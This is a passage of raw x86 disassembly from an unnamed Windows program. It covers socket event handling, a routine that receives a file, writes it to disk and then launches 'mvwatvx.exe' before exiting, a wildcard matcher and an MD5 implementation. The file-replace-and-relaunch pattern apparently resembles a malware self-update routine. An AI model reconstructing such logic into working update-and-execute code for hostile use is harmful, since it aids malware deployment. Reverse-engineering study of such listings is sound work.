		mov	eax, [ebp-30h]
		push	dword ptr [eax+14h]
		mov	ax, [eax+18h]
		lea	ecx, [ebp-608h]
		call	sub_414A81
		test	eax, eax
		jnz	loc_416F2D
		push	20h
		lea	eax, [ebp-68h]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		lea	edi, [ebp-0C34h]
		call	sub_404CB9
		push	20h
		lea	eax, [ebp-68h]
		push	eax
		mov	esi, edi
		call	sub_404D1E
		sub	esp, 22Ch
		mov	edi, esp
		mov	ecx, 8Bh
		lea	esi, [ebp-0C34h]
		lea	edx, [ebp-608h]
		rep movsd
		call	sub_414913
		xor	eax, eax
		mov	ecx, edx
		mov	dword ptr [ebp-24h], 1
		call	sub_4149DD

loc_416CD8:				; CODE XREF: .text:00416C62j
		mov	eax, [ebp-19Ch]
		mov	esi, [ebp-24h]
		mov	[ebp-38h], eax
		xor	eax, eax
		cmp	esi, 2
		setnz	al
		push	ebx
		dec	eax
		push	eax
		push	ebx
		lea	eax, [ebp-38h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_416D32
		lea	eax, [ebp-94h]
		push	eax
		lea	edi, [ebp-608h]
		call	sub_414C04
		test	byte ptr [ebp-94h], 20h
		jnz	loc_416F2D
		lea	eax, [ebp-48h]
		call	sub_416B46
		test	eax, eax
		jnz	loc_416F2D

loc_416D32:				; CODE XREF: .text:00416D01j
		cmp	[ebp-20h], ebx
		jnz	loc_416DEB
		mov	edi, [ebp-30h]

loc_416D3E:				; CODE XREF: .text:00416D60j
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		dec	eax
		jz	short loc_416D57
		dec	eax
		jnz	short loc_416D64
		test	byte ptr [edi+10h], 2
		jz	short loc_416D5D
		call	sub_404ADB
		jmp	short loc_416DA5
; ---------------------------------------------------------------------------

loc_416D57:				; CODE XREF: .text:00416D45j
		test	byte ptr [edi+10h], 1
		jnz	short loc_416DA0

loc_416D5D:				; CODE XREF: .text:00416D4Ej
		cmp	esi, 2
		jnz	short loc_416D3E
		jmp	short loc_416DB5
; ---------------------------------------------------------------------------

loc_416D64:				; CODE XREF: .text:00416D48j
		push	20h
		pop	ebx
		lea	esi, [ebp-608h]
		call	sub_414AE0
		push	2
		pop	esi
		push	esi
		push	dword ptr [ebp-1B0h]
		call	ds:dword_4292A0	; shutdown
		mov	[ebp-24h], esi
		mov	dword ptr [ebp-40h], 1388h
		call	ds:dword_4290A8	; GetTickCount
		and	dword ptr [ebp-44h], 0
		mov	[ebp-48h], eax
		xor	ebx, ebx
		jmp	loc_416C5F
; ---------------------------------------------------------------------------

loc_416DA0:				; CODE XREF: .text:00416D5Bj
		call	sub_404AA9

loc_416DA5:				; CODE XREF: .text:00416D55j
		push	eax
		lea	eax, [ebp-10h]
		call	sub_405CD8
		mov	dword ptr [ebp-20h], 1

loc_416DB5:				; CODE XREF: .text:00416D62j
		cmp	esi, 2
		jz	loc_416C5F
		push	ebx
		push	dword ptr [ebp-10h]
		call	ds:dword_4291BC	; GetFileSize
		push	dword ptr [edi+10h]
		mov	[ebp-2Ch], eax
		push	eax
		mov	[ebp-1Ch], ebx
		call	sub_404869
		push	eax
		push	offset dword_430D00
		lea	edi, [ebp-608h]
		call	sub_414CA6
		add	esp, 10h

loc_416DEB:				; CODE XREF: .text:00416D35j
		cmp	esi, 2
		jz	loc_416C5F
		push	ebx
		lea	eax, [ebp-14h]
		push	eax
		mov	edi, 400h
		push	edi
		lea	eax, [ebp-0A08h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_429108	; ReadFile
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		jz	short loc_416E48
		mov	edx, [ebp-2Ch]
		cmp	[ebp-1Ch], edx
		jnb	short loc_416E48
		mov	ecx, [ebp-1Ch]
		add	[ebp-1Ch], eax
		cmp	[ebp-1Ch], edx
		jbe	short loc_416E30
		mov	eax, edx
		sub	eax, ecx
		mov	[ebp-14h], eax

loc_416E30:				; CODE XREF: .text:00416E27j
		push	eax
		lea	eax, [ebp-0A08h]
		push	eax
		lea	edi, [ebp-608h]
		call	sub_414C2D
		jmp	loc_416C5F
; ---------------------------------------------------------------------------

loc_416E48:				; CODE XREF: .text:00416E14j
					; .text:00416E1Cj
		push	1
		lea	eax, [ebp-15h]
		push	eax
		lea	esi, [ebp-608h]
		mov	[ebp-20h], ebx
		call	sub_414D0B
		cmp	byte ptr [ebp-15h], 31h
		jnz	loc_416F20
		lea	eax, [ebp-0D38h]
		push	offset off_430CFC
		push	eax
		call	sub_41D92B
		pop	ecx
		push	eax
		call	sub_41D3D4
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [ebp-2Ch]
		mov	esi, eax
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-34h], esi
		call	sub_405DBE

loc_416E93:				; CODE XREF: .text:00416EC6j
		push	ebx
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		lea	eax, [ebp-0A08h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_429108	; ReadFile
		cmp	[ebp-14h], ebx
		jbe	short loc_416EC8
		push	esi
		push	dword ptr [ebp-14h]
		lea	eax, [ebp-0A08h]
		push	1
		push	eax
		call	sub_41DC21
		add	esp, 10h
		cmp	[ebp-14h], ebx
		ja	short loc_416E93

loc_416EC8:				; CODE XREF: .text:00416EACj
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	sub_405DBE
		push	dword ptr [ebp-10h]
		call	ds:dword_429100	; SetEndOfFile
		jmp	short loc_416EF0
; ---------------------------------------------------------------------------

loc_416EDF:				; CODE XREF: .text:00416F08j
		push	eax
		lea	eax, [ebp-0A08h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_405D4F

loc_416EF0:				; CODE XREF: .text:00416EDDj
		push	esi
		push	edi
		lea	eax, [ebp-0A08h]
		push	1
		push	eax
		call	sub_41DACE
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp-14h], eax
		jnz	short loc_416EDF
		lea	esi, [ebp-10h]
		call	sub_405CF2
		push	dword ptr [ebp-34h]
		call	sub_41D4C3
		pop	ecx
		jmp	loc_416C5F
; ---------------------------------------------------------------------------

loc_416F20:				; CODE XREF: .text:00416E60j
		lea	esi, [ebp-10h]
		call	sub_405CF2
		jmp	loc_416C5F
; ---------------------------------------------------------------------------

loc_416F2D:				; CODE XREF: .text:00416C7Bj
					; .text:00416D1Cj ...
		lea	eax, [ebp-608h]
		push	3
		call	sub_414D44
		lea	esi, [ebp-10h]
		call	sub_405CF2
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F51	proc near		; CODE XREF: sub_4077BF+D3p
					; .text:0040B3DCp

var_180		= byte ptr -180h
var_54		= dword	ptr -54h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 180h
		push	esi
		push	ds:dword_438104
		call	ds:dword_4290F0	; CloseHandle
		push	44h
		pop	eax
		push	eax
		mov	[ebp+var_54], eax
		xor	esi, esi
		lea	eax, [ebp+var_54]
		push	esi
		push	eax
		call	sub_41C6D0
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41C6D0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_180]
		push	offset dword_430D0C
		push	eax
		call	sub_41C940
		lea	eax, [ebp+var_180]
		push	offset aMvwatvx_exe ; "mvwatvx.exe"
		push	eax
		call	sub_41C940
		add	esp, 30h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_180]
		push	eax
		push	esi
		call	ds:dword_4290EC	; CreateProcessA
		push	esi
		call	ds:dword_4290E8	; ExitProcess
		int	3		; Trap to Debugger

loc_416FDE:				; CODE XREF: sub_407331+2Ep
					; .text:0040851Bp ...
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	cl, [eax]
		test	cl, cl
		push	edi
		jz	short loc_417047

loc_416FEC:				; CODE XREF: sub_416F51+B1j
		mov	dl, [esi]
		cmp	dl, 2Ah
		jz	short loc_417004
		cmp	dl, cl
		jz	short loc_416FFC
		cmp	dl, 3Fh
		jnz	short loc_417022

loc_416FFC:				; CODE XREF: sub_416F51+A4j
		inc	esi
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_416FEC

loc_417004:				; CODE XREF: sub_416F51+A0j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417047
		mov	edi, [ebp+var_4]

loc_41700D:				; CODE XREF: sub_416F51+ECj
		mov	dl, [esi]
		cmp	dl, 2Ah
		jnz	short loc_417026
		inc	esi
		cmp	byte ptr [esi],	0
		jz	short loc_417041
		mov	[ebp+var_4], esi
		lea	edi, [eax+1]
		jmp	short loc_417039
; ---------------------------------------------------------------------------

loc_417022:				; CODE XREF: sub_416F51+A9j
		xor	eax, eax
		jmp	short loc_417053
; ---------------------------------------------------------------------------

loc_417026:				; CODE XREF: sub_416F51+C1j
		cmp	dl, cl
		jz	short loc_417037
		cmp	dl, 3Fh
		jz	short loc_417037
		mov	esi, [ebp+var_4]
		mov	eax, edi
		inc	edi
		jmp	short loc_417039
; ---------------------------------------------------------------------------

loc_417037:				; CODE XREF: sub_416F51+D7j
					; sub_416F51+DCj
		inc	esi
		inc	eax

loc_417039:				; CODE XREF: sub_416F51+CFj
					; sub_416F51+E4j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41700D
		jmp	short loc_417047
; ---------------------------------------------------------------------------

loc_417041:				; CODE XREF: sub_416F51+C7j
		xor	eax, eax
		inc	eax
		jmp	short loc_417053
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F51+F9j
		inc	esi

loc_417047:				; CODE XREF: sub_416F51+99j
					; sub_416F51+B7j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_417046
		xor	eax, eax
		cmp	[esi], al
		setz	al

loc_417053:				; CODE XREF: sub_416F51+D3j
					; sub_416F51+F3j
		pop	edi
		pop	esi
		leave
		retn
sub_416F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_417057	proc near		; CODE XREF: sub_40A355+27p
					; .text:0040A5CAp ...
		and	dword ptr [eax+14h], 0
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_417057	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41707B	proc near		; CODE XREF: .text:0040A5DBp
					; .text:0040A611p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		mov	ecx, [esi+10h]
		mov	eax, ecx
		shr	eax, 3
		mov	edx, ebx
		lea	ecx, [ecx+ebx*8]
		shl	edx, 3
		and	eax, 3Fh
		cmp	ecx, edx
		push	edi
		mov	[esi+10h], ecx
		jnb	short loc_4170A0
		inc	dword ptr [esi+14h]

loc_4170A0:				; CODE XREF: sub_41707B+20j
		push	40h
		mov	ecx, ebx
		shr	ecx, 1Dh
		add	[esi+14h], ecx
		pop	edi
		sub	edi, eax
		cmp	ebx, edi
		jb	short loc_4170EA
		mov	ecx, [ebp+arg_0]
		lea	eax, [eax+esi+18h]
		mov	edx, edi
		call	sub_417A67
		lea	eax, [esi+18h]
		call	sub_41716C
		mov	[ebp+var_4], edi
		add	edi, 3Fh
		jmp	short loc_4170E2
; ---------------------------------------------------------------------------

loc_4170CF:				; CODE XREF: sub_41707B+69j
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edi-3Fh]
		call	sub_41716C
		add	[ebp+var_4], 40h
		add	edi, 40h

loc_4170E2:				; CODE XREF: sub_41707B+52j
		cmp	edi, ebx
		jb	short loc_4170CF
		xor	eax, eax
		jmp	short loc_4170EE
; ---------------------------------------------------------------------------

loc_4170EA:				; CODE XREF: sub_41707B+34j
		and	[ebp+var_4], 0

loc_4170EE:				; CODE XREF: sub_41707B+6Dj
		mov	ecx, [ebp+var_4]
		mov	edi, [ebp+arg_0]
		mov	edx, ebx
		sub	edx, ecx
		add	ecx, edi
		lea	eax, [eax+esi+18h]
		call	sub_417A67
		pop	edi
		pop	esi
		leave
		retn
sub_41707B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417107	proc near		; CODE XREF: .text:0040A640p
					; .text:0040A9F6p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	esi, [edi+10h]
		push	8
		pop	edx
		mov	eax, esi
		lea	ecx, [ebp+var_8]
		call	sub_4179FF
		mov	eax, [esi]
		shr	eax, 3
		push	38h
		and	eax, 3Fh
		pop	ebx
		cmp	eax, ebx
		jb	short loc_417130
		push	78h
		pop	ebx

loc_417130:				; CODE XREF: sub_417107+24j
		sub	ebx, eax
		push	offset dword_4352D8
		mov	eax, edi
		call	sub_41707B
		lea	eax, [ebp+var_8]
		push	eax
		push	8
		pop	ebx
		mov	eax, edi
		call	sub_41707B
		mov	ecx, [ebp+arg_0]
		push	10h
		pop	edx
		mov	eax, edi
		call	sub_4179FF
		push	0
		push	58h
		pop	ecx
		mov	edx, edi
		call	sub_417A7B
		add	esp, 0Ch
		pop	esi
		pop	ebx
		leave
		retn
sub_417107	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41716C	proc near		; CODE XREF: sub_41707B+47p
					; sub_41707B+5Bp

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		mov	ebx, [esi+8]
		push	edi
		mov	edi, [esi+4]
		push	40h
		pop	ecx
		lea	edx, [ebp+var_4C]
		call	sub_417A30
		mov	eax, [esi]
		mov	ecx, edi
		not	ecx
		and	ecx, [esi+0Ch]
		mov	edx, ebx
		and	edx, edi
		or	ecx, edx
		add	ecx, eax
		mov	eax, [ebp+var_4C]
		lea	ecx, [ecx+eax-28955B88h]
		mov	eax, ecx
		shl	ecx, 7
		shr	eax, 19h
		or	eax, ecx
		add	eax, edi
		mov	edx, edi
		and	edx, eax
		mov	ecx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		add	ecx, [ebp+var_48]
		mov	edx, [esi+0Ch]
		lea	edx, [edx+ecx-173848AAh]
		mov	ecx, edx
		shl	edx, 0Ch
		shr	ecx, 14h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		not	edx
		and	edx, edi
		mov	edi, ecx
		and	edi, eax
		or	edx, edi
		add	edx, [ebp+var_44]
		lea	edx, [ebx+edx+242070DBh]
		mov	edi, edx
		shl	edx, 11h
		shr	edi, 0Fh
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		not	edx
		and	edx, eax
		mov	ebx, ecx
		and	ebx, edi
		or	edx, ebx
		add	edx, [ebp+var_40]
		mov	ebx, [esi+4]
		lea	ebx, [ebx+edx-3E423112h]
		mov	edx, ebx
		shr	ebx, 0Ah
		shl	edx, 16h
		or	edx, ebx
		add	edx, edi
		mov	[ebp+var_C], edi
		and	edi, edx
		mov	ebx, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_3C]
		lea	eax, [eax+ebx-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, edx
		mov	[ebp+var_4], edi
		not	edi
		and	edi, [ebp+var_C]
		mov	eax, edx
		and	eax, [ebp+var_4]
		or	edi, eax
		add	edi, [ebp+var_38]
		lea	ecx, [ecx+edi+4787C62Ah]
		mov	eax, ecx
		shl	ecx, 0Ch
		shr	eax, 14h
		or	eax, ecx
		add	eax, [ebp+var_4]
		mov	ecx, eax
		mov	edi, eax
		and	edi, [ebp+var_4]
		not	ecx
		and	ecx, edx
		or	ecx, edi
		add	ecx, [ebp+var_34]
		mov	edi, [ebp+var_C]
		lea	edi, [edi+ecx-57CFB9EDh]
		mov	ecx, edi
		shl	edi, 11h
		shr	ecx, 0Fh
		or	ecx, edi
		add	ecx, eax
		mov	ebx, eax
		and	ebx, ecx
		mov	edi, ecx
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ebx
		add	edi, [ebp+var_30]
		mov	ebx, ecx
		lea	edx, [edx+edi-2B96AFFh]
		mov	edi, edx
		shr	edx, 0Ah
		shl	edi, 16h
		or	edi, edx
		add	edi, ecx
		and	ebx, edi
		mov	edx, edi
		not	edx
		and	edx, eax
		or	edx, ebx
		add	edx, [ebp+var_2C]
		mov	ebx, [ebp+var_4]
		lea	ebx, [ebx+edx+698098D8h]
		mov	edx, ebx
		shl	ebx, 7
		shr	edx, 19h
		or	edx, ebx
		add	edx, edi
		mov	[ebp+var_8], edi
		and	edi, edx
		mov	ebx, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_28]
		lea	eax, [eax+ebx-74BB0851h]
		mov	edi, eax
		shl	eax, 0Ch
		shr	edi, 14h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		and	eax, [ebp+var_8]
		mov	ebx, edi
		and	ebx, edx
		or	eax, ebx
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax-0A44Fh]
		mov	ebx, ecx
		shr	ebx, 0Fh
		shl	ecx, 11h
		or	ebx, ecx
		add	ebx, edi
		mov	eax, ebx
		not	eax
		mov	[ebp+var_C], ebx
		and	eax, edx
		mov	ecx, edi
		and	ecx, ebx
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax-76A32842h]
		mov	eax, ecx
		shr	ecx, 0Ah
		shl	eax, 16h
		or	eax, ecx
		add	eax, ebx
		and	ebx, eax
		mov	ecx, eax
		not	ecx
		and	ecx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_1C]
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shl	edx, 7
		shr	ecx, 19h
		or	ecx, edx
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, eax
		and	edx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	ecx, edx
		add	ecx, [ebp+var_18]
		lea	edi, [edi+ecx-2678E6Dh]
		mov	ecx, edi
		shl	edi, 0Ch
		shr	ecx, 14h
		or	ecx, edi
		add	ecx, [ebp+var_4]
		mov	edi, eax
		mov	[ebp+var_8], ecx
		not	[ebp+var_8]
		and	edi, [ebp+var_8]
		mov	edx, ecx
		and	edx, [ebp+var_4]
		mov	ebx, ecx
		or	edx, edi
		add	edx, [ebp+var_14]
		mov	edi, [ebp+var_C]
		lea	edi, [edi+edx-5986BC72h]
		mov	edx, edi
		shl	edi, 11h
		shr	edx, 0Fh
		or	edx, edi
		add	edx, ecx
		and	ebx, edx
		mov	[ebp+var_C], edx
		not	[ebp+var_C]
		mov	edi, [ebp+var_C]
		and	edi, [ebp+var_4]
		or	edi, ebx
		add	edi, [ebp+var_10]
		mov	ebx, edx
		and	ebx, [ebp+var_8]
		lea	eax, [eax+edi+49B40821h]
		mov	edi, eax
		shr	eax, 0Ah
		shl	edi, 16h
		or	edi, eax
		add	edi, edx
		mov	eax, ecx
		and	eax, edi
		or	eax, ebx
		add	eax, [ebp+var_48]
		mov	ebx, [ebp+var_4]
		lea	eax, [ebx+eax-9E1DA9Eh]
		mov	ebx, eax
		shr	ebx, 1Bh
		shl	eax, 5
		or	ebx, eax
		mov	eax, [ebp+var_C]
		add	ebx, edi
		and	eax, edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], eax
		mov	eax, edx
		and	eax, ebx
		mov	ebx, eax
		mov	eax, [ebp+var_C]
		or	eax, ebx
		add	eax, [ebp+var_34]
		lea	ecx, [ecx+eax-3FBF4CC0h]
		mov	eax, ecx
		shl	ecx, 9
		shr	eax, 17h
		or	eax, ecx
		add	eax, [ebp+var_4]
		mov	ecx, edi
		not	ecx
		and	ecx, [ebp+var_4]
		mov	ebx, eax
		and	ebx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_20]
		lea	edx, [edx+ecx+265E5A51h]
		mov	ecx, edx
		shl	edx, 0Eh
		shr	ecx, 12h
		or	ecx, edx
		mov	edx, [ebp+var_4]
		add	ecx, eax
		not	edx
		and	edx, eax
		mov	[ebp+var_C], ecx
		and	ecx, [ebp+var_4]
		mov	ebx, [ebp+var_C]
		or	edx, ecx
		add	edx, [ebp+var_4C]
		lea	edi, [edi+edx-16493856h]
		mov	ecx, edi
		shr	edi, 0Ch
		mov	edx, eax
		not	edx
		and	edx, ebx
		shl	ecx, 14h
		or	ecx, edi
		mov	edi, eax
		add	ecx, ebx
		and	edi, ecx
		or	edx, edi
		add	edx, [ebp+var_38]
		mov	edi, [ebp+var_4]
		lea	edx, [edi+edx-29D0EFA3h]
		mov	edi, edx
		shl	edx, 5
		shr	edi, 1Bh
		or	edi, edx
		add	edi, ecx
		mov	[ebp+var_4], edi
		mov	edx, ebx
		not	edx
		and	edx, ecx
		mov	edi, ebx
		and	edi, [ebp+var_4]
		or	edx, edi
		add	edx, [ebp+var_24]
		lea	eax, [eax+edx+2441453h]
		mov	edx, eax
		shl	eax, 9
		shr	edx, 17h
		or	edx, eax
		add	edx, [ebp+var_4]
		mov	eax, ecx
		not	eax
		and	eax, [ebp+var_4]
		mov	edi, edx
		and	edi, ecx
		or	eax, edi
		add	eax, [ebp+var_10]
		lea	edi, [ebx+eax-275E197Fh]
		mov	eax, edi
		shr	eax, 12h
		shl	edi, 0Eh
		or	eax, edi
		add	eax, edx
		mov	edi, [ebp+var_4]
		mov	ebx, eax
		and	ebx, [ebp+var_4]
		not	edi
		and	edi, edx
		or	edi, ebx
		add	edi, [ebp+var_3C]
		mov	ebx, edx
		lea	ecx, [ecx+edi-182C0438h]
		mov	edi, ecx
		shr	ecx, 0Ch
		shl	edi, 14h
		or	edi, ecx
		add	edi, eax
		and	ebx, edi
		mov	ecx, edx
		not	ecx
		and	ecx, eax
		or	ecx, ebx
		add	ecx, [ebp+var_28]
		mov	ebx, [ebp+var_4]
		lea	ebx, [ebx+ecx+21E1CDE6h]
		mov	ecx, ebx
		shl	ebx, 5
		shr	ecx, 1Bh
		or	ecx, ebx
		mov	ebx, eax
		not	ebx
		and	ebx, edi
		add	ecx, edi
		mov	[ebp+var_8], edi
		mov	edi, eax
		and	edi, ecx
		or	ebx, edi
		add	ebx, [ebp+var_14]
		lea	edx, [edx+ebx-3CC8F82Ah]
		mov	edi, edx
		shl	edx, 9
		shr	edi, 17h
		or	edi, edx
		mov	edx, [ebp+var_8]
		add	edi, ecx
		not	edx
		and	edx, ecx
		mov	ebx, edi
		and	ebx, [ebp+var_8]
		or	edx, ebx
		add	edx, [ebp+var_40]
		lea	eax, [eax+edx-0B2AF279h]
		mov	edx, eax
		shl	eax, 0Eh
		shr	edx, 12h
		or	edx, eax
		add	edx, edi
		mov	eax, ecx
		not	eax
		and	eax, edi
		mov	ebx, edx
		and	ebx, ecx
		or	eax, ebx
		add	eax, [ebp+var_2C]
		mov	ebx, [ebp+var_8]
		lea	eax, [ebx+eax+455A14EDh]
		mov	ebx, eax
		shr	eax, 0Ch
		shl	ebx, 14h
		or	ebx, eax
		add	ebx, edx
		mov	[ebp+var_8], ebx
		mov	eax, edi
		not	eax
		and	eax, edx
		mov	ebx, edi
		and	ebx, [ebp+var_8]
		or	eax, ebx
		add	eax, [ebp+var_18]
		lea	ecx, [ecx+eax-561C16FBh]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		add	eax, [ebp+var_8]
		mov	ecx, edx
		mov	[ebp+var_4], eax
		and	ecx, [ebp+var_4]
		mov	ebx, [ebp+var_4]
		mov	eax, edx
		not	eax
		and	eax, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	edi, [edi+eax-3105C08h]
		mov	eax, edi
		shl	edi, 9
		shr	eax, 17h
		or	eax, edi
		add	eax, ebx
		mov	edi, eax
		and	edi, [ebp+var_8]
		not	ecx
		and	ecx, ebx
		or	ecx, edi
		add	ecx, [ebp+var_30]
		lea	edx, [edx+ecx+676F02D9h]
		mov	ecx, edx
		shl	edx, 0Eh
		shr	ecx, 12h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ebx
		not	edx
		and	edx, eax
		mov	edi, ecx
		and	edi, ebx
		or	edx, edi
		add	edx, [ebp+var_1C]
		mov	edi, [ebp+var_8]
		lea	edi, [edi+edx-72D5B376h]
		mov	edx, edi
		shr	edi, 0Ch
		shl	edx, 14h
		or	edx, edi
		mov	edi, eax
		xor	edi, ecx
		add	edx, ecx
		xor	edi, edx
		add	edi, [ebp+var_38]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shl	ebx, 4
		shr	edi, 1Ch
		or	edi, ebx
		mov	ebx, ecx
		xor	ebx, edx
		add	edi, edx
		xor	ebx, edi
		add	ebx, [ebp+var_2C]
		lea	eax, [eax+ebx-788E097Fh]
		mov	ebx, eax
		shl	eax, 0Bh
		shr	ebx, 15h
		or	ebx, eax
		add	ebx, edi
		mov	eax, ebx
		xor	eax, edx
		xor	eax, edi
		add	eax, [ebp+var_20]
		lea	ecx, [ecx+eax+6D9D6122h]
		mov	eax, ecx
		shr	eax, 10h
		shl	ecx, 10h
		or	eax, ecx
		add	eax, ebx
		mov	[ebp+var_C], eax
		mov	ecx, ebx
		xor	ecx, eax
		mov	eax, ecx
		xor	eax, edi
		add	eax, [ebp+var_14]
		lea	edx, [edx+eax-21AC7F4h]
		mov	eax, edx
		shr	edx, 9
		shl	eax, 17h
		or	eax, edx
		add	eax, [ebp+var_C]
		xor	ecx, eax
		add	ecx, [ebp+var_48]
		lea	edi, [edi+ecx-5B4115BCh]
		mov	ecx, edi
		shl	edi, 4
		shr	ecx, 1Ch
		or	ecx, edi
		mov	edi, [ebp+var_C]
		add	ecx, eax
		mov	edx, edi
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_3C]
		lea	ebx, [ebx+edx+4BDECFA9h]
		mov	edx, ebx
		shl	ebx, 0Bh
		shr	edx, 15h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_30]
		mov	[ebp+var_C], edx
		lea	ebx, [edi+ebx-944B4A0h]
		mov	edi, ebx
		shl	ebx, 10h
		shr	edi, 10h
		or	edi, ebx
		add	edi, edx
		xor	[ebp+var_C], edi
		mov	ebx, [ebp+var_C]
		xor	ebx, ecx
		add	ebx, [ebp+var_24]
		lea	ebx, [eax+ebx-41404390h]
		mov	eax, ebx
		shr	ebx, 9
		shl	eax, 17h
		or	eax, ebx
		mov	ebx, [ebp+var_C]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_18]
		lea	ebx, [ecx+ebx+289B7EC6h]
		mov	ecx, ebx
		shl	ebx, 4
		shr	ecx, 1Ch
		or	ecx, ebx
		mov	ebx, edi
		xor	ebx, eax
		add	ecx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_4C]
		lea	edx, [edx+ebx-155ED806h]
		mov	ebx, edx
		shl	edx, 0Bh
		shr	ebx, 15h
		or	ebx, edx
		add	ebx, ecx
		mov	edx, ebx
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_40]
		mov	[ebp+var_C], ebx
		lea	edx, [edi+edx-2B10CF7Bh]
		mov	edi, edx
		shl	edx, 10h
		shr	edi, 10h
		or	edi, edx
		add	edi, ebx
		xor	[ebp+var_C], edi
		mov	edx, [ebp+var_C]
		xor	edx, ecx
		add	edx, [ebp+var_34]
		lea	edx, [eax+edx+4881D05h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		mov	edx, [ebp+var_C]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_28]
		lea	edx, [ecx+edx-262B2FC7h]
		mov	ecx, edx
		shl	edx, 4
		shr	ecx, 1Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, edi
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_1C]
		lea	ebx, [ebx+edx-1924661Bh]
		mov	edx, ebx
		shl	ebx, 0Bh
		shr	edx, 15h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_10]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shl	ebx, 10h
		shr	edi, 10h
		or	edi, ebx
		add	edi, edx
		mov	ebx, edx
		xor	ebx, edi
